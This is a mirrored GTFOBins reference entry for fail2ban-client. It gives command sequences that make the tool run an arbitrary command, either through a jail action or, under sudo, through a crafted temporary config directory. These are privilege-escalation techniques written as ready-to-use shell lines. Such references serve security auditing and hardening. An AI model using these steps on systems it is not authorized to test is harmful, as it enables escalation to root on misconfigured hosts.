mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-08 06:56:15 +01:00
44 lines
1.1 KiB
Plaintext
44 lines
1.1 KiB
Plaintext
---
|
|
functions:
|
|
command:
|
|
- blind: true
|
|
code: |-
|
|
fail2ban-client add x
|
|
fail2ban-client set x addaction x
|
|
fail2ban-client set x action x actionban /path/to/command
|
|
fail2ban-client start x
|
|
fail2ban-client set x banip 999.999.999.999
|
|
fail2ban-client set x unbanip 999.999.999.999
|
|
fail2ban-client stop x
|
|
comment: |-
|
|
The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns.
|
|
contexts:
|
|
sudo:
|
|
- blind: true
|
|
code: |-
|
|
cat >/path/to/temp-dir/fail2ban.conf <<EOF
|
|
[Definition]
|
|
EOF
|
|
|
|
cat >/path/to/temp-dir/jail.local <<EOF
|
|
[x]
|
|
enabled = true
|
|
action = x
|
|
EOF
|
|
|
|
mkdir -p /path/to/temp-dir/action.d/
|
|
cat >/path/to/temp-dir/action.d/x.conf <<EOF
|
|
[Definition]
|
|
actionstart = /path/to/command
|
|
EOF
|
|
|
|
mkdir -p /path/to/temp-dir/filter.d/
|
|
cat >/path/to/temp-dir/filter.d/x.conf <<EOF
|
|
[Definition]
|
|
EOF
|
|
|
|
fail2ban-client -c /path/to/temp-dir/ -v restart
|
|
contexts:
|
|
sudo:
|
|
...
|